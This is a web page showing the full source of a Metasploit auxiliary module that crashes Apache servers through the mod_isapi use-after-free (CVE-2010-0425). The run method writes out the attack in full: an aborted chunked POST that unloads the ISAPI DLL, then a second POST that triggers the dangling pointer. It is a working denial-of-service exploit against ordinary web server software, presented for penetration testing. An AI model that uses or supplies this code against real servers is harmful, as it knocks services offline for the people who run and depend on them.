Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/apache_mod_isapi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Apache mod_isapi Dangling Pointer',12'Description' => %q{13This module triggers a use-after-free vulnerability in the Apache14Software Foundation mod_isapi extension for versions 2.2.14 and earlier.15In order to reach the vulnerable code, the target server must have an16ISAPI module installed and configured.1718By making a request that terminates abnormally (either an aborted TCP19connection or an unsatisfied chunked request), mod_isapi will unload the20ISAPI extension. Later, if another request comes for that ISAPI module,21previously obtained pointers will be used resulting in an access22violation or potentially arbitrary code execution.2324Although arbitrary code execution is theoretically possible, a25real-world method of invoking this consequence has not been proven. In26order to do so, one would need to find a situation where a particular27ISAPI module loads at an image base address that can be re-allocated by28a remote attacker.2930Limited success was encountered using two separate ISAPI modules. In31this scenario, a second ISAPI module was loaded into the same memory32area as the previously unloaded module.33},34'Author' =>35[36'Brett Gervasoni', # original discovery37'jduck'38],39'License' => MSF_LICENSE,40'References' =>41[42[ 'CVE', '2010-0425' ],43[ 'OSVDB', '62674'],44[ 'BID', '38494' ],45[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=48509' ],46[ 'URL', 'https://web.archive.org/web/20100715032229/http://www.gossamer-threads.com/lists/apache/cvs/381537' ],47[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],48[ 'EDB', '11650' ]49],50'DisclosureDate' => '2010-03-05'))5152register_options([53Opt::RPORT(80),54OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])55])56end5758def run5960serverIP = datastore['RHOST']61if (datastore['RPORT'].to_i != 80)62serverIP += ":" + datastore['RPORT'].to_s63end64isapiURI = datastore['ISAPI']6566# Create a stale pointer using the vulnerability67print_status("Causing the ISAPI dll to be loaded and unloaded...")68unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +69"Pragma: no-cache\r\n" +70"Proxy-Connection: Keep-Alive\r\n" +71"Host: " + serverIP + "\r\n" +72"Transfer-Encoding: chunked\r\n" +73"Content-Length: 40334\r\n\r\n" +74Rex::Text.rand_text_alphanumeric(rand(128)+128)75connect76sock.put(unload_trigger)77disconnect7879# Now make the stale pointer get used...80print_status("Triggering the crash ...")81data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)82crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +83"Host: " + serverIP + "\r\n" +84"Content-Length: #{data.length}\r\n\r\n" +85data8687connect88sock.put(crash_trigger)89disconnect9091end92end939495